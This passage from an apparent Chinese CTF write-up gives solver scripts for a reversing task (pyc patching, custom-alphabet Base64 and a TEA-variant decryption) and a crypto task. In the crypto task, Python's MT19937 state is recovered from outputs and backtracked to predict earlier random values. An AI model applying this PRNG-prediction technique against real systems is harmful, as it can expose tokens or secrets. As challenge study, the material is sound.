class="number">1</span>] == <span class="number">0x24</span>:</span><br><span class="line"> i += <span class="number">2</span></span><br><span class="line"> nop = <span class="number">0x24</span></span><br><span class="line"> <span class="keyword">while</span> nop > <span class="number">0</span>:</span><br><span class="line"> code[i] = <span class="number">0x09</span></span><br><span class="line"> nop -= <span class="number">1</span></span><br><span class="line"> i += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'patched.pyc'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(<span class="built_in">bytes</span>(code))</span><br></pre></td></tr></table></figure><p>然而还是有部分代码无法复原,而且部分 <code>while</code> 有关控制流反编译是错误的,只能去自己阅读字节码。</p><p>主函数和之前程序一样只会连逆带猜,总感觉哪里少了点啥,能猜出有个 <code>try</code> 语句块异常处理来让前半段异或上后半段,但是整不出完整的逻辑,因为字节码顺序变得很奇怪,就和前面的 <code>sub_402930</code> 是怎么被调用的一样莫名其妙。</p><p>然后再说会能被直接反编译的三个类:</p><ul><li><code>II00O0III0o0o0o0oo</code> 类是一个换表 BASE64</li><li><code>IIoo00IIIo0o0oo0oo</code> 类是一个 TEA 系列的加密</li><li><code>chall</code> 类先调用了 <code>II00O0III0o0o0o0oo</code> 类,然后调用 <code>IIoo00IIIo0o0oo0oo</code> 类</li></ul><p>也就是说加密逻辑是先换表 BASE64 然后 TEA 系列加密,这样我们就可以开始写脚本了:</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> string <span class="keyword">import</span> ascii_uppercase, ascii_lowercase, digits</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> c_uint</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">b64</span>:</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> self.std_table = ascii_uppercase + ascii_lowercase + digits + <span class="string">'+/'</span></span><br><span class="line"> self.custom_table = <span class="built_in">list</span>(self.std_table)</span><br><span class="line"> length = <span class="built_in">len</span>(self.custom_table)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, length // <span class="number">2</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, length - <span class="number">1</span> - i):</span><br><span class="line"> <span class="keyword">if</span> self.custom_table[j] > self.custom_table[j + <span class="number">1</span>]:</span><br><span class="line"> temp = self.custom_table[j]</span><br><span class="line"> self.custom_table[j] = self.custom_table[j + <span class="number">1</span>]</span><br><span class="line"> self.custom_table[j + <span class="number">1</span>] = temp</span><br><span class="line"> self.custom_table = <span class="string">''</span>.join(self.custom_table)</span><br><span class="line"> self.strmap = <span class="built_in">bytes</span>.maketrans(self.custom_table.encode(), self.std_table.encode())</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">b64decode</span>(<span class="params">self, enc</span>):</span><br><span class="line"> <span class="keyword">return</span> base64.b64decode(enc.translate(self.strmap)).decode()</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TEA</span>:</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> self.d = <span class="number">0x87654321</span></span><br><span class="line"> k0 = <span class="number">1732584193</span></span><br><span class="line"> k1 = <span class="number">0xEFCDAB89</span></span><br><span class="line"> k2 = <span class="number">0x98BADCFE</span></span><br><span class="line"> k3 = <span class="number">271733878</span></span><br><span class="line"> self.k = [k0, k1, k2, k3]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">TEAdecode</span>(<span class="params">self, v</span>):</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">MX</span>(<span class="params">x, y, total, key, p, e</span>):</span><br><span class="line"> a = (x.value >> <span class="number">6</span> ^ y.value << <span class="number">4</span>) + (y.value >> <span class="number">2</span> ^ x.value << <span class="number">5</span>)</span><br><span class="line"> b = (total.value ^ y.value) + (key[p & <span class="number">3</span> ^ e.value] ^ x.value)</span><br><span class="line"> <span class="keyword">return</span> c_uint(a ^ b)</span><br><span class="line"></span><br><span class="line"> n = <span class="built_in">len</span>(v)</span><br><span class="line"> key = self.k</span><br><span class="line"> delta = self.d</span><br><span class="line"> rounds = <span class="number">6</span> + <span class="number">52</span> // n</span><br><span class="line"> total = c_uint(delta * rounds)</span><br><span class="line"> e = c_uint(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(rounds):</span><br><span class="line"> e.value = total.value >> <span class="number">2</span> & <span class="number">3</span></span><br><span class="line"> v[n - <span class="number">1</span>] = c_uint(v[n - <span class="number">1</span>] - MX(c_uint(v[n - <span class="number">2</span>]), c_uint(v[<span class="number">0</span>]), total, key, n - <span class="number">1</span>, e).value).value</span><br><span class="line"> <span class="keyword">for</span> p <span class="keyword">in</span> <span class="built_in">range</span>(n - <span class="number">2</span>, <span class="number">0</span>, -<span class="number">1</span>):</span><br><span class="line"> v[p] = c_uint(v[p] - MX(c_uint(v[p - <span class="number">1</span>]), c_uint(v[p + <span class="number">1</span>]), total, key, p, e).value).value</span><br><span class="line"> v[<span class="number">0</span>] = c_uint(v[<span class="number">0</span>] - MX(c_uint(v[n - <span class="number">1</span>]), c_uint(v[<span class="number">1</span>]), total, key, <span class="number">0</span>, e).value).value</span><br><span class="line"> total.value -= delta</span><br><span class="line"> <span class="keyword">return</span> v</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">solver</span>:</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> self.b64 = b64()</span><br><span class="line"> self.TEA = TEA()</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">ints2bytes</span>(<span class="params">self, v</span>):</span><br><span class="line"> n = <span class="built_in">len</span>(v)</span><br><span class="line"> res = <span class="string">b''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n // <span class="number">2</span>):</span><br><span class="line"> res += <span class="built_in">int</span>.to_bytes(v[<span class="number">2</span> * i], <span class="number">4</span>, <span class="string">'little'</span>)</span><br><span class="line"> res += <span class="built_in">int</span>.to_bytes(v[<span class="number">2</span> * i + <span class="number">1</span>], <span class="number">4</span>, <span class="string">'little'</span>)</span><br><span class="line"> <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">bytes2ints</span>(<span class="params">self, cs</span>):</span><br><span class="line"> new_length = <span class="built_in">len</span>(cs) + (<span class="number">8</span> - <span class="built_in">len</span>(cs) % <span class="number">8</span>) % <span class="number">8</span></span><br><span class="line"> barray = cs.ljust(new_length, <span class="string">b'\x00'</span>)</span><br><span class="line"> i = <span class="number">0</span></span><br><span class="line"> v = []</span><br><span class="line"> <span class="keyword">while</span> i < new_length:</span><br><span class="line"> v0 = <span class="built_in">int</span>.from_bytes(barray[i:i + <span class="number">4</span>], <span class="string">'little'</span>)</span><br><span class="line"> v1 = <span class="built_in">int</span>.from_bytes(barray[i + <span class="number">4</span>:i + <span class="number">8</span>], <span class="string">'little'</span>)</span><br><span class="line"> v.append(v0)</span><br><span class="line"> v.append(v1)</span><br><span class="line"> i += <span class="number">8</span></span><br><span class="line"> <span class="keyword">return</span> v</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">decode</span>(<span class="params">self, text</span>):</span><br><span class="line"> tmp = self.TEA.TEAdecode(self.bytes2ints(text))</span><br><span class="line"> <span class="keyword">return</span> self.b64.b64decode(self.ints2bytes(tmp))</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'encrypted'</span>, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> sol = solver()</span><br><span class="line"> enc = <span class="built_in">bytearray</span>(f.read())</span><br><span class="line"> part_1 = enc[:<span class="built_in">len</span>(enc) // <span class="number">2</span>]</span><br><span class="line"> part_2 = enc[<span class="built_in">len</span>(enc) // <span class="number">2</span>:]</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(enc) // <span class="number">2</span>):</span><br><span class="line"> part_1[i] ^= part_2[i]</span><br><span class="line"> <span class="built_in">print</span>(sol.decode(part_1))</span><br></pre></td></tr></table></figure><p>解出最后一部分是 <code>PytH0n_KZBxDwfkIzbEgUOY</code>,把三部分按题目要求合起来就是 flag。</p><h2 id="CRYPTO">CRYPTO</h2><h3 id="Numbers-Game">Numbers Game</h3><p>发现有随机过程生成了两个长度为 53 的序列,算了下 (128 + 256) / 32 * 52 = 624,正好能满足解出随机数盒的条件。<code>getrandbits</code> 內部实现是反复生成 32 bits 的数,从 LSB 填充到 MSB,多余的 bits 就 drop。正好 128 和 256 都是 32 的倍数,可以完全复原生成的 32 bits 的数。 最后就只要倒推之前的生成的两个数即可。</p><p>逆推 state 盒的参考资料:<a href="https://badmonkey.site/archives/mt19937.html#2020-vn-%E6%8B%9B%E6%96%B0%E8%B5%9B-backtrace">https://badmonkey.site/archives/mt19937.html#2020-vn-招新赛-backtrace</a></p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line">_<span class="built_in">id</span> = [<span class="string">'d5d97afad7ef619b4badd8d2da10ee24'</span>, <span class="string">'67f4660a8335fb9f4152a9fbc44c9c77'</span>, <span class="string">'8cd43c85ebe9cc7036a37f47ccd1d1e4'</span>, <span class="string">'ee3e8c62e8b0100027589d6de82677ef'</span>, <span class="string">'463bb2f3731ad0e786302bf78da08330'</span>, <span class="string">'e245b1852a3b92734e46eb3421bd76c9'</span>, <span class="string">'0b74736786b4ab94651e3b706a548e55'</span>, <span class="string">'79cb596b28c2b4e02738f93b5bfbe0d3'</span>, <span class="string">'5a9c46837952952045564b5b395acad1'</span>, <span class="string">'d3c2d90a05d1a059fbeba4a05a608798'</span>, <span class="string">'4da0306c8ab58097d2fef9114e6fcb6d'</span>, <span class="string">'9707fabbd3c96de66917f15998ac9201'</span>, <span class="string">'9dd3e46fc930abfb523fe31e8ee8a658'</span>, <span class="string">'3716a8fd05f7388e7151d09431e61ee1'</span>, <span class="string">'9acf027679a6d7a674a43dee4f5bea35'</span>, <span class="string">'78702a2b125a940519337b1bf50aff8a'</span>, <span class="string">'262cf3b8c8072a602048a24756c83fcf'</span>, <span class="string">'092f8d227ec583c4734a6f449de521a3'</span>, <span class="string">'712aa300302b57fed458553426348fce'</span>, <span class="string">'834d4a0ea451cc04b469636b18c56435'</span>, <span class="string">'754b5284b14402c61e3b1e56cb2d41e9'</span>, <span class="string">'51d742ca6a341032afcb5dc645f54bfa'</span>, <span class="string">'c1a33d104f47e33d6932905b483a2018'</span>, <span class="string">'3def7c2a14cff6b2864a2100956df07f'</span>, <span class="string">'7e3606e4ec1c99fe5a8593ae44f25a70'</span>, <span class="string">'404c6139570883dbab8e5a299d7a5017'</span>, <span class="string">'f07597079e1b68ebb4e2d16b83b7b484'</span>, <span class="string">'0723daf5c65f8ba6cd6e43fcdf9d18dc'</span>, <span class="string">'4c54db12829f165837384b66978e8438'</span>, <span class="string">'cd056e64e1f31461cab2e66ece9d3278'</span>, <span class="string">'2f6ae16fab122cbce240e32464a1ab57'</span>, <span class="string">'f86e0e9ee23498340f62d8617f6f5218'</span>, <span class="string">'af4ebe2535885c783c89f8d8c4815076'</span>, <span class="string">'c8eae5b5c7aca2c5fdb4f284e2cf65c5'</span>, <span class="string">'bec0d8ecabedd9811a8ecb6052b21d8c'</span>, <span class="string">'731bd3421b6517aa101357fe1c49caf3'</span>, <span class="string">'344f4a26cdaf1a782d9b32208e1a3e92'</span>, <span class="string">'892b1741d304878461dd0774a335ea3d'</span>, <span class="string">'56e2a484ca40f43e059bf5f0bd822bdc'</span>, <span class="string">'d7c0762df71b31c14654147fb9a0595c'</span>, <span class="string">'57016a179ba5509f6b04a161ac628b34'</span>, <span class="string">'e49a2d573522c1ee3e8348ceca0295a4'</span>, <span class="string">'4b0f49c7e6469e82832e9cc90b9e17c0'</span>, <span class="string">'eadc9d0c8b75127fe0a7f71881de1ea7'</span>, <span class="string">'db9fe5537768207bd8cdf770bcd42dfa'</span>, <span class="string">'ba2f57578752628d1ecac419b3a8bc36'</span>, <span class="string">'3752e70b5d2b578a8d412d84aab43705'</span>, <span class="string">'54e97795df8781c776cbb1ce4f5f31fc'</span>, <span class="string">'32794880abc9f68102c24e92ad9c7cd5'</span>, </span><br><span class="line"><span class="string">'b5eb7e651ca298f6873694c47d1cd3da'</span>, <span class="string">'a188934777d2c67e3d59692135005497'</span>, <span class="string">'34c308fa1644b387169ea88c1b575490'</span>]</span><br><span class="line">_code = [<span class="string">'2eebed894580fb900c3615d4866150e68322ff4d48e7509f85ff4543969b0cf6'</span>, <span class="string">'017aefd63b4ce14eb376161902d92894a15f680e7b055ce25c3b02c6b49db0a6'</span>, <span class="string">'e12d945904032887c967ae03a48c8b096abc79dc64134d872693599d4f6c91cc'</span>, <span class="string">'0f8957f365f53a7209baa852905c5da5dba54ddb403ab17a4c9b3a051540d49c'</span>, <span class="string">'091e3e41815cd32f482f2cf54ac3338fc918c2a657896af1aa1b23ea528664f4'</span>, <span class="string">'5916cd18e8c48c545232112f2179aa7a722350a8a0ced4f1363cc61bc9d83630'</span>, <span class="string">'37702710d47a1c17278743253123f6eac85b16d9393432ec65100143bc8657e8'</span>, <span class="string">'c3a7006293c48957cba5c010f945483cfdc47650a79d0e8a8a9a52c174244a10'</span>, <span class="string">'e1a90a475dd21da64d64ea1dd50a82a622061d08e9d4b3016982c4a0b42f1251'</span>, <span class="string">'2f40ff85024765e58ed175927c53e0a279cda96ce755b602f89bfc171108ba3d'</span>, <span class="string">'f4f8337dd7267d02638a9cc531c8a02fe0316dd5ff6f8c8aec898c060c6fb217'</span>, <span class="string">'0df2f3fe1eb976944a2de5729fca4a12b83c8329b4f514869856ebb94b7d7bf9'</span>, <span class="string">'abb2f1277b1cb5ad07254b7f7ed346bcdb73282b306123ce0b5befe42a9e796d'</span>, <span class="string">'6ef31ed6a2a465bcd146c2438bf391bfd9f3187cf54afae512220a7a94714bf3'</span>, <span class="string">'6981f99ba288923a5cd68908ecc8795bf301f1e7d081ac6580a63902fd52da01'</span>, <span class="string">'b6b07975697de1c0342e3711b59165b849125794ef2541c6c60dcf40e689df7b'</span>, <span class="string">'20e3af3a2bcedfd15199975cc9edcde14cb13fdff3ea0607a4747601e500aede'</span>, <span class="string">'606aa1daf188b9dd5fd6141312f1828846f92baa519e70e5c6923a352421fe2f'</span>, <span class="string">'1dc6a60112e99c5b884c0bb5430a7a54eba8aef34fada9cb96bce79a22456cf2'</span>, <span class="string">'fd81e36f576119a19185cd12e87544b42f9fcc3dcb5e7ba282b1a128d73d63c5'</span>, <span class="string">'7a01e947ca012a5c9a8dd20e693a7788cd6157a5c3fce5fa7c7e09014ea3266e'</span>, <span class="string">'ccd162b182c773062514ffc3551ed47f32293700083782d902efc55b1e9795c6'</span>, <span class="string">'dbb6115aefd2638eebf44d3be6e9525e09ff036269d954469a0f925b496327a7'</span>, <span class="string">'ac08696fe64bb5e58cd3e558463213ca08ab7805e33f45459ae14b35fc5858c6'</span>, <span class="string">'6e1594596ad1c656635af29d14b22a5ed10e545442eea5f4e056e20d11aa33b3'</span>, <span class="string">'4afd17e64562603c66ce0ca42d544ca48511c3d560f9180c231a9ccb28a0e55e'</span>, <span class="string">'06b2d2b24ca626e18fdcb3196e989e3b05150500815511f48200ddea9aacda48'</span>, <span class="string">'947a11e8258fd161d02b0eb1b2e8fcd9ff1684a7c75f7c506ddee91f08316f56'</span>, <span class="string">'a0e58b15736cab055be1d03860dedb6b8136f6739308c2e0ef6a7490c6b4a1f1'</span>, <span class="string">'31476f64f96d72a398e7eb789068b8cfd61ed9cac95d76824a2bbf5b682ea72d'</span>, <span class="string">'974259198846a4849d318afd325d860a6e40dfd39e1ed8c7b6d87c990e35efcf'</span>, <span class="string">'e93d02ba7079c488c30e377794b4fcc62eeafb6c3f02197f1ebc059e3e5f7f07'</span>, <span class="string">'ded96eec0d25c05a54671a001bcd99f5c6d3991d2fdf80afb8f0861a44f3fd64'</span>, <span class="string">'86f34c1da65f07634de7c302a6df306dd545806022411a318900bd33b0aff9bd'</span>, <span class="string">'59baf4cf3d3b85fcdefd1a9b60c3d78926ff73650ac375c616b30fe9063b377d'</span>, <span class="string">'02f2ee251ecc19fa52dd42c0e0b609bc2e7a8ae11ce6ca35396a4bc74d12ac63'</span>, <span class="string">'597d09b4c43012b1b4b040d8c62d5fb02d1c4249de4eea06e1447000ba53f50c'</span>, <span class="string">'bb87bd8e1903db2df41c349914e9f3591bb032400be6e86ed10e7d292243a374'</span>, <span class="string">'cec38960069fdc8090cfbdd166e15ec8a77ce5b4d6b350805a63d2b54cbf0187'</span>, <span class="string">'1439d35a9c0caa9cacabe8e6179a02d51ebb9fb51125d5eeaba47ff6b8abcc97'</span>, <span class="string">'820d72d49e0fd86ef47b022a3091b326be8b0d2a42f87cbc918737b9972ea62f'</span>, <span class="string">'e625e82100031fa4a4410700034859cd4b35c086f5ac2870c6909c16a6831bfc'</span>, <span class="string">'f0e22f5167d29331351e1718c17b5420f6a29d84357273e1bfb24c2ff34fa675'</span>, <span class="string">'a5a7991f0c5c6a44f68c5c18661611057dbabeff7847623315ce784095645f75'</span>, <span class="string">'07cd3f5c5c690214af5feda27b3aec257543a8f96bc509805028a0e95c5d98c6'</span>, </span><br><span class="line"><span class="string">'6e5dd4405c1b446b9530e4d9356c05b71d1bfcf8a79778588143c3b6fec3fded'</span>, <span class="string">'a33f821d277e6f73c09a5ecd14cef80bac29ffe2b917225c27725d2447ac0489'</span>, <span class="string">'c18a4a02dd1f7ee65bf5596c53549c286a754afb0e3b90b2369cdd1e43c0b986'</span>, <span class="string">'6b8df66aa27b40ca275bc133958b5d543167edf919e7e623a496c9afbf7594d6'</span>, <span class="string">'c48124eeef995c7bb705bd240a26dbf6bdbe42ba29addf7ac78fa28dbed3debe'</span>, <span class="string">'040eef11dc6e0f3bb3e58e12d2a57ee274071a9c6224f27db70e19a8aa7d4df2'</span>, <span class="string">'4ecd0a955e52657fab8dfdac2df4d805f1d08b031df8bce22ac01fe20ca72c5b'</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># right shift inverse</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inverse_right</span>(<span class="params">res, shift, bits = <span class="number">32</span></span>):</span><br><span class="line"> tmp = res</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(bits // shift):</span><br><span class="line"> tmp = res ^ tmp >> shift</span><br><span class="line"> <span class="keyword">return</span> tmp</span><br><span class="line"><span class="comment"># right shift with mask inverse</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inverse_right_values</span>(<span class="params">res, shift, mask, bits = <span class="number">32</span></span>):</span><br><span class="line"> tmp = res</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(bits // shift):</span><br><span class="line"> tmp = res ^ tmp >> shift & mask</span><br><span class="line"> <span class="keyword">return</span> tmp</span><br><span class="line"><span class="comment"># left shift inverse</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inverse_left</span>(<span class="params">res, shift, bits = <span class="number">32</span></span>):</span><br><span class="line"> tmp = res</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(bits//shift):</span><br><span class="line"> tmp = res ^ tmp << shift</span><br><span class="line"> <span class="keyword">return</span> tmp</span><br><span class="line"><span class="comment"># left shift with mask inverse</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inverse_left_values</span>(<span class="params">res, shift, mask, bits = <span class="number">32</span></span>):</span><br><span class="line"> tmp = res</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(bits // shift):</span><br><span class="line"> tmp = res ^ tmp << shift & mask</span><br><span class="line"> <span class="keyword">return</span> tmp</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recover_state</span>(<span class="params">out</span>):</span><br><span class="line"> state = []</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> out:</span><br><span class="line"> i = inverse_right(i, <span class="number">18</span>)</span><br><span class="line"> i = inverse_left_values(i, <span class="number">15</span>, <span class="number">0xefc60000</span>)</span><br><span class="line"> i = inverse_left_values(i, <span class="number">7</span>, <span class="number">0x9d2c5680</span>)</span><br><span class="line"> i = inverse_right(i, <span class="number">11</span>)</span><br><span class="line"> state.append(i)</span><br><span class="line"> <span class="keyword">return</span> state</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">backtrace</span>(<span class="params">cur, num</span>):</span><br><span class="line"> high = <span class="number">0x80000000</span></span><br><span class="line"> low = <span class="number">0x7fffffff</span></span><br><span class="line"> mask = <span class="number">0x9908b0df</span></span><br><span class="line"> state = cur</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(num - <span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line"> tmp = state[i + <span class="number">624</span>] ^ state[i + <span class="number">397</span>]</span><br><span class="line"> <span class="keyword">if</span> tmp & high == high:</span><br><span class="line"> tmp ^= mask</span><br><span class="line"> tmp <<= <span class="number">1</span></span><br><span class="line"> tmp |= <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> tmp <<= <span class="number">1</span></span><br><span class="line"> res = tmp & high</span><br><span class="line"> tmp = state[i - <span class="number">1</span> + <span class="number">624</span>] ^ state[i + <span class="number">396</span>]</span><br><span class="line"> <span class="keyword">if</span> tmp & high == high:</span><br><span class="line"> tmp ^= mask</span><br><span class="line"> tmp <<= <span class="number">1</span></span><br><span class="line"> tmp |= <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> tmp <<= <span class="number">1</span></span><br><span class="line"> res |= (tmp) & low</span><br><span class="line"> state[i] = res </span><br><span class="line"> <span class="keyword">return</span> state</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hex2bin</span>(<span class="params">x, bits</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">bin</span>(<span class="built_in">int</span>(x, <span class="number">16</span>))[<span class="number">2</span>:].zfill(bits)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getRndHex</span>(<span class="params">rnd, bits</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">hex</span>(prng.getrandbits(bits))[<span class="number">2</span>:].zfill(bits // <span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">n = <span class="built_in">len</span>(_<span class="built_in">id</span>)</span><br><span class="line">num = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line"> x = hex2bin(_<span class="built_in">id</span>[i], <span class="number">128</span>)</span><br><span class="line"> y = hex2bin(_code[i], <span class="number">256</span>)</span><br><span class="line"> <span class="keyword">for</span> p <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line"> num.append(<span class="built_in">int</span>(x[p * <span class="number">32</span>:(p + <span class="number">1</span>) * <span class="number">32</span>], <span class="number">2</span>))</span><br><span class="line"> <span class="keyword">for</span> p <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line"> num.append(<span class="built_in">int</span>(y[p * <span class="number">32</span>:(p + <span class="number">1</span>) * <span class="number">32</span>], <span class="number">2</span>))</span><br><span class="line"></span><br><span class="line">partS = recover_state(num)</span><br><span class="line">pre = backtrace([<span class="number">0</span>] * <span class="number">12</span> + partS, <span class="number">12</span>)[:<span class="number">624</span>]</span><br><span class="line">prng = random.Random()</span><br><span class="line">prng.setstate((<span class="number">3</span>, <span class="built_in">tuple</span>(pre + [<span class="number">0</span>]), <span class="literal">None</span>))</span><br><span class="line">pre_id = getRndHex(prng, <span class="number">128</span>)</span><br><span class="line">pre_code = getRndHex(prng, <span class="number">256</span>)</span><br><span class="line">flag = hashlib.md5((pre_id + pre_code).encode()).hexdigest()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'flag{%s}'</span> % flag)</span><br><span class="line"></span><br><span class="line"><span class="comment"># flag{22b307a4ac14c89888d5a6c79f7f963c}</span></span><br></pre></td></tr></table></figure><h3 id="math">math</h3><p>看 <code>chal.py</code>,发现主要由 3 部分构成:</p><ul><li><p>读取满足 $a^2 - D \times b^2 = 1$ 的 $a$ 和 $b$</p></li><li><p>同余</p></li><li><p>打乱 bits</p></li></ul><p>$a^2 - D \times b^2 = 1$ 是经典的 PELL 方程,可以用连分数得到最小解,然后递推生成通解。</p><p>同余过程太经典了,可以直接通过 $a$ 在 $p$ 下的逆元和 $b$ 求出 $m$。</p><p>还有个打乱,一开始以为和上一道题一样要去看 <code>getPrime</code> 